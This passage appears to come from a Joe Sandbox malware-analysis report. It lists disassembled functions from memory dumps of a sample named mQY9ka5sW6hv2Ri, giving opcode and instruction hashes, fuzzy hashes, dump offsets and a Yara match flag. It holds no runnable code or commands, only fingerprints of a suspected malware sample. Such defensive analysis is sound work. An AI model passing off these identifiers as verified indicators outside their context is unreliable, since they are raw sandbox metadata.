                                          • Opcode ID: 9b66bff1a1f4bb51bb94351828a22c6c5527e07084bf44cfb6eb4e97bf776623
                                          • Instruction ID: e7f74ab67c2ca9e38422b6745e5106b73d0e73ede4596c0dbecdc7e4403c4710
                                          • Opcode Fuzzy Hash: 9b66bff1a1f4bb51bb94351828a22c6c5527e07084bf44cfb6eb4e97bf776623
                                          • Instruction Fuzzy Hash: F1E0C2321004A06FC715FB5DED00F4A77AEEFA5264F004121F16087A94CB34AC01C7D4
                                          Function 011C8A90 Relevance: .0, Instructions: 20COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 4861f5a381a69e507ddb33788bd9690c3cd67957beffc440e81982ecee0e9c4e
                                          • Instruction ID: 2ad06d5730da13377a4f4d6ffc695ef51efce6d5e7a3324e6e7b05aac81d453e
                                          • Opcode Fuzzy Hash: 4861f5a381a69e507ddb33788bd9690c3cd67957beffc440e81982ecee0e9c4e
                                          • Instruction Fuzzy Hash: F5E08633111A1487C72CDE1CD551B7277A4FF55B20F09463EA61347790C634E944C795
                                          Function 011CE59C Relevance: .0, Instructions: 16COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                                          • Instruction ID: d6f66649bbfc7b56f2e426a225f9e86a900f5e27c12ca0810a3d1d2e94582217
                                          • Opcode Fuzzy Hash: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                                          • Instruction Fuzzy Hash: A6D0A7325145106FD732AA1CFC00FC373D9BB48724F050459B019C7051C360AC81C644
                                          Function 0120E908 Relevance: .0, Instructions: 16COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 6e9bfb4306c29fdb1c5fce9039323a2740af754b7679fb8de59faa530781556d
                                          • Instruction ID: 86309b698208328e124550826203fee8830a313a208b053c968712710456e28b
                                          • Opcode Fuzzy Hash: 6e9bfb4306c29fdb1c5fce9039323a2740af754b7679fb8de59faa530781556d
                                          • Instruction Fuzzy Hash: 82E08C35920684AFCF17DF99CA40F4ABBB5BB80B40F150408A1085B261C324A800CB40
                                          Function 0118A0E3 Relevance: .0, Instructions: 15COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
                                          • Instruction ID: ffa70b4074515df7979732b1d27e02a69a101b03b6bc6e85de76c8a2e314ab7b
                                          • Opcode Fuzzy Hash: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
                                          • Instruction Fuzzy Hash: D7D02232322030A7CB2C66557C00F63BD0AAF80A94F0A002E340A93800C2048C43CAE0
                                          Function 011CA830 Relevance: .0, Instructions: 14COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 950ff3e2fa24c389401d46e2ae40292d2d63fe10973766e9e1870c80e88d3a0a
                                          • Instruction ID: 1a48053596a7932d97980444672023f6e8da02b972eb07720245f5f7fba0f83d
                                          • Opcode Fuzzy Hash: 950ff3e2fa24c389401d46e2ae40292d2d63fe10973766e9e1870c80e88d3a0a
                                          • Instruction Fuzzy Hash: 16D0123B1E054DBBCB119F66DC01F957FA9E764BA0F444021B514875A0C63AE951D584
                                          Function 011CCA24 Relevance: .0, Instructions: 14COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c4ae8e928521be12f58aec7f72e3cfc3958f8b5c5f0b2886828d14af353c76bf
                                          • Instruction ID: 2de005d6d7441bf1bfa9f98fb0e925761eea060bf9bb59c62465faf58f6ce9fa
                                          • Opcode Fuzzy Hash: c4ae8e928521be12f58aec7f72e3cfc3958f8b5c5f0b2886828d14af353c76bf
                                          • Instruction Fuzzy Hash: E5D05234A620029FDF2FCB08CA18A3E7AB0EB20A40B85006CE700A2421E328DC028A80
                                          Function 011A02A0 Relevance: .0, Instructions: 13COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
                                          • Instruction ID: 6904bb25751c84bfa521e8ae3ebd78e56ab2b6867f870f8cb61e40e2a7964673
                                          • Opcode Fuzzy Hash: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
                                          • Instruction Fuzzy Hash: F0D09239212E80CFD62E8B0DC5A4B1637A4BB48A44FC10491E501CBB22D728E980CA00
                                          Function 011CC700 Relevance: .0, Instructions: 12COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
                                          • Instruction ID: 01db6ee963a4193c8da7334b9fbeac166aaec4d3af2aed6a1a9e75ee12e290c8
                                          • Opcode Fuzzy Hash: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
                                          • Instruction Fuzzy Hash: CCC01236150644AFC7159A95CD01F017BA9E798B40F400021F20447570C631E811D644
                                          Function 00407B26 Relevance: .0, Instructions: 12COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3a6502cc090ae202e2d7985e073d46726e5437df98a3c6eb1c16205c99559d55
                                          • Instruction ID: 114e5c94447cae83d9bbf2aff43e2e2b1feb5c6d896970876a1b68431db7ef4f
                                          • Opcode Fuzzy Hash: 3a6502cc090ae202e2d7985e073d46726e5437df98a3c6eb1c16205c99559d55
                                          • Instruction Fuzzy Hash: D9B01233E9700C01D0200C4CBC423B4E368D383134E103393FC08F355090C7C451008C
                                          Function 011B0310 Relevance: .0, Instructions: 11COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                                          • Instruction ID: 1edac972569b4b34aed1668e8f8e6e3d5b879db51d728233bfd75f0d25013ad3
                                          • Opcode Fuzzy Hash: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                                          • Instruction Fuzzy Hash: CBD01236100248EFCB05DF41C8D0D9B773AFBD8710F108019FD19077208A31ED62DA50
                                          Function 01190750 Relevance: .0, Instructions: 9COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
                                          • Instruction ID: 8b2e0e415775647dfaa3f1a7299fae23fc82881f797b71dbef614dabb3f5c1d4
                                          • Opcode Fuzzy Hash: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
                                          • Instruction Fuzzy Hash: 95C04C79711941CFCF19DB59D294F4977E4F744754F551890E805CB721E724E811CA10
                                          Function 011D4340 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: fe7836cd296c99645bde8977e9f6b4092bd9da039d13e399b407842dc18c56de
                                          • Instruction ID: 9931efa9d174e8c9bdc43bfef819a1a0365dd562f9d811c26132f3481a9c08b2
                                          • Opcode Fuzzy Hash: fe7836cd296c99645bde8977e9f6b4092bd9da039d13e399b407842dc18c56de
                                          • Instruction Fuzzy Hash: BB900231605C00129148719849885464045A7E0301B55C011E0425554CCB148A565361
                                          Function 011D4650 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 42eb8c386bf9e5f9b45776963cfefaf7da1947fa6a0504d2aaee961545cb65a6
                                          • Instruction ID: 1bde38ead8dee550c5abd90b305762e822c34c23e951f9f02d8aff9d074b9127
                                          • Opcode Fuzzy Hash: 42eb8c386bf9e5f9b45776963cfefaf7da1947fa6a0504d2aaee961545cb65a6
                                          • Instruction Fuzzy Hash: 4F900261601900424148719849084066045A7E1301395C115A0555560CC71889559369
                                          Function 011D2B80 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 6be25e765e9211865df5c2c50bdf7b22c5c8c50e401f1639dfe9ebf344305f24
                                          • Instruction ID: fa9cddb698b7371fadee3106c196854fff168ea86bb28861eb1f9f9f4d98c624
                                          • Opcode Fuzzy Hash: 6be25e765e9211865df5c2c50bdf7b22c5c8c50e401f1639dfe9ebf344305f24
                                          • Instruction Fuzzy Hash: 2690023120180802D10C71984908686004597D0301F55C011A6025655ED76589917231
                                          Function 011D2BA0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: d9d57b013e6d74238188e326ded9b04f1fd249d2aab0d83bc56859dc30e57551
                                          • Instruction ID: ae161f95420f74bab114d7493a693a2b48c67e139d5ce083c82a631f9536ec5e
                                          • Opcode Fuzzy Hash: d9d57b013e6d74238188e326ded9b04f1fd249d2aab0d83bc56859dc30e57551
                                          • Instruction Fuzzy Hash: C790023160580802D15871984518746004597D0301F55C011A0025654DC7558B5577A1
                                          Function 011D2BE0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 920eb5539070a846e66ffb7dd453943c0a736aed38a1c63ea9485b08809a3f78
                                          • Instruction ID: d9842f2a614d239cc8cb58075edb1e22f65d56ae5ad4fb29c4f668e7fb6c233e
                                          • Opcode Fuzzy Hash: 920eb5539070a846e66ffb7dd453943c0a736aed38a1c63ea9485b08809a3f78
                                          • Instruction Fuzzy Hash: 5C90023120584842D14871984508A46005597D0305F55C011A0065694DD7258E55B761
                                          Function 011D2AB0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: fd451799f5e839fd79a045a223f0695d50b66d0c477b75c5659f7c345181a848
                                          • Instruction ID: efb734f90c76366cbd8206405be13cc2c396ed3cffe1e39370f40cb5757998ad
                                          • Opcode Fuzzy Hash: fd451799f5e839fd79a045a223f0695d50b66d0c477b75c5659f7c345181a848
                                          • Instruction Fuzzy Hash: 589002A1201940924508B2988508B0A454597E0201B55C016E1055560CC62589519235
                                          Function 011D2AF0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 7ff79364d38d062ec205add5dd7d0b6bc7688eac07effe46f8561242a7985f99
                                          • Instruction ID: cec614fe9087ba0e3d55e7cbd9c9e4cd23d2df59910df576d87c0d259a335f30
                                          • Opcode Fuzzy Hash: 7ff79364d38d062ec205add5dd7d0b6bc7688eac07effe46f8561242a7985f99
                                          • Instruction Fuzzy Hash: F490022522180002014DB598070850B0485A7D6351395C015F1417590CC72189655321
                                          Function 011D2D00 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3af425ba0302a94339e0f95b0d0ca922a24a4019975001e157993792bdd5d546
                                          • Instruction ID: 4c6b1097c2bb301dde9e91e03a8f5a3d568a04b1e68d524a82b9766fe612abf8
                                          • Opcode Fuzzy Hash: 3af425ba0302a94339e0f95b0d0ca922a24a4019975001e157993792bdd5d546
                                          • Instruction Fuzzy Hash: 9090022120584442D1087598550CA06004597D0205F55D011A1065595DC7358951A231
                                          Function 011D2DB0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: cb74a8bd168d292c57a8b07006dff82433ae2371d072ad0aca43548e28c26d08
                                          • Instruction ID: 13a8364349f292753c87cbadf44b124f66b1697b466f567d32f3fc90a5df3111
                                          • Opcode Fuzzy Hash: cb74a8bd168d292c57a8b07006dff82433ae2371d072ad0aca43548e28c26d08
                                          • Instruction Fuzzy Hash: 5090023124180402D149719845086060049A7D0241F95C012A0425554EC7558B56AB61
                                          Function 011D2C60 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: bd57ea7ac503e83a05cf2fb7896613ba2c3c28bcf3346be3f3a63ad19290ecac
                                          • Instruction ID: 1644354527c2ea887d56ada719327e1ba6e66e2b31448df3b3c0ae11bf20690e
                                          • Opcode Fuzzy Hash: bd57ea7ac503e83a05cf2fb7896613ba2c3c28bcf3346be3f3a63ad19290ecac
                                          • Instruction Fuzzy Hash: 6390023120180842D10871984508B46004597E0301F55C016A0125654DC715C9517621
                                          Function 011D2CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3dbafc63ac7908dbac18aee1edb3c48062613201fab858f2b82e198ead9dc4ba
                                          • Instruction ID: ef0efc1298472ca8f883f781e83270eb39cebe98a4ba87411213d7e787ae7e5c
                                          • Opcode Fuzzy Hash: 3dbafc63ac7908dbac18aee1edb3c48062613201fab858f2b82e198ead9dc4ba
                                          • Instruction Fuzzy Hash: F490022160580402D1487198551C706005597D0201F55D011A0025554DC7598B5567A1
                                          Function 011D2CF0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 39ba1cef4b2b40a763660e2f58daa946dc58ea083317cd03133ee342b53552e6
                                          • Instruction ID: 7d1e979c6b82f22c3bd9a87914f03a8aa19f7bb5acdeb9d427498a1ab4ee064c
                                          • Opcode Fuzzy Hash: 39ba1cef4b2b40a763660e2f58daa946dc58ea083317cd03133ee342b53552e6
                                          • Instruction Fuzzy Hash: 1590023120180403D1087198560C707004597D0201F55D411A0425558DD75689516221
                                          Function 011D2F60 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: ff5e8fabbd5fd853444d616aac9e19d87cb8f4fbc90d8f3ef1051f1a8cbae396
                                          • Instruction ID: 2b210da731a15f328f80484413f597581099822c4b2d8309df3b1cbd26a30a89
                                          • Opcode Fuzzy Hash: ff5e8fabbd5fd853444d616aac9e19d87cb8f4fbc90d8f3ef1051f1a8cbae396
                                          • Instruction Fuzzy Hash: 4390026121180042D10C71984508706008597E1201F55C012A2155554CC6298D615225
                                          Function 011D2FA0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: a5b0c115850fcc7ab22716bbcfc702df2fd6f119083cd70c5a8f63b261f9be47
                                          • Instruction ID: a1c1f60f33f1ffcf1ca147c604938e10553e69691b652e0dd43be43a344c4b35
                                          • Opcode Fuzzy Hash: a5b0c115850fcc7ab22716bbcfc702df2fd6f119083cd70c5a8f63b261f9be47
                                          • Instruction Fuzzy Hash: 91900231201C0402D1087198490C747004597D0302F55C011A5165555EC765C9916631
                                          Function 011D2E30 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e1ebafc4ffb79dbcfe3c67cdee1c1c1c2485850dd2e0b64395d481fb9d8f2840
                                          • Instruction ID: c9345e56880e2ac11939d82d9207cf74c65d830a435c559588998d93518d5ca1
                                          • Opcode Fuzzy Hash: e1ebafc4ffb79dbcfe3c67cdee1c1c1c2485850dd2e0b64395d481fb9d8f2840
                                          • Instruction Fuzzy Hash: 8F90022130180402D10A719845186060049D7D1345F95C012E1425555DC7258A53A232
                                          Function 011D2EE0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 69b56bcdd2c224df826671d127929f5b7bb023a2bef71b0d89b1f76d5839aad4
                                          • Instruction ID: 2fa17b77dca3a21b0314e16ae248f1f940de0bb81323dd31d36a6b920dc5dd34
                                          • Opcode Fuzzy Hash: 69b56bcdd2c224df826671d127929f5b7bb023a2bef71b0d89b1f76d5839aad4
                                          • Instruction Fuzzy Hash: 4E900261201C0403D14875984908607004597D0302F55C011A2065555ECB298D516235
                                          Function 011D3010 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 7768a92f985e8ab31119da2fd02284f85ae293103f67c6c9eb55b03e422f70e4
                                          • Instruction ID: 661337bb53a95790da866ad27387130ee1914db3a90cc29d1584a24e0fca1b13
                                          • Opcode Fuzzy Hash: 7768a92f985e8ab31119da2fd02284f85ae293103f67c6c9eb55b03e422f70e4
                                          • Instruction Fuzzy Hash: F8900221201C4442D14872984908B0F414597E1202F95C019A4157554CCA1589555721
                                          Function 011D3090 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 32f67792c45e568344ae53fa28a4c8cb58de1d6a0f0084757f2473ddf4643546
                                          • Instruction ID: 0e51cb6c91f3e7c687957de29a57c4589ed19df39121c2dc7c4294a3aff052d1
                                          • Opcode Fuzzy Hash: 32f67792c45e568344ae53fa28a4c8cb58de1d6a0f0084757f2473ddf4643546
                                          • Instruction Fuzzy Hash: 2390022124180802D148719885187070046D7D0601F55C011A0025554DC7168A6567B1
                                          Function 011D35C0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: dabd0896928102709e9b611ad446ecc84d65f558d8acba20e00cde44b7ed3e00
                                          • Instruction ID: 089e06eb59ff7203f9bd760433d94ae3d300811566632b34b0927cef056f76fd
                                          • Opcode Fuzzy Hash: dabd0896928102709e9b611ad446ecc84d65f558d8acba20e00cde44b7ed3e00
                                          • Instruction Fuzzy Hash: B890023160590402D10871984618706104597D0201F65C411A0425568DC7958A5166A2
                                          Function 011D39B0 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: c6e06abbe88d48b3160dcbff5abd0d23b7939f9b15084d7fc8ff6702e44a5142
                                          • Instruction ID: 840b174dd7e70c7da475d355de3b95eec9c0cfdb234927a3015085a3c1ec46a5
                                          • Opcode Fuzzy Hash: c6e06abbe88d48b3160dcbff5abd0d23b7939f9b15084d7fc8ff6702e44a5142
                                          • Instruction Fuzzy Hash: B990022124585102D158719C45086164045B7E0201F55C021A0815594DC65589556321
                                          Function 011D3D10 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e654023e0a87c7a8db91cf75cc24f089b525c09679e4d730784cf07dc69d6e4e
                                          • Instruction ID: f3f52c340da2f8fe38eee913aa23c5d82a2a0c871b1ae0ba912d14d354dfee7f
                                          • Opcode Fuzzy Hash: e654023e0a87c7a8db91cf75cc24f089b525c09679e4d730784cf07dc69d6e4e
                                          • Instruction Fuzzy Hash: D690023120280142954872985908A4E414597E1302B95D415A0016554CCA1489615321
                                          Function 011D3D70 Relevance: .0, Instructions: 4COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 263791549d93da27451166d3b062480badc8002d0588e0f548dcfbf31daca735
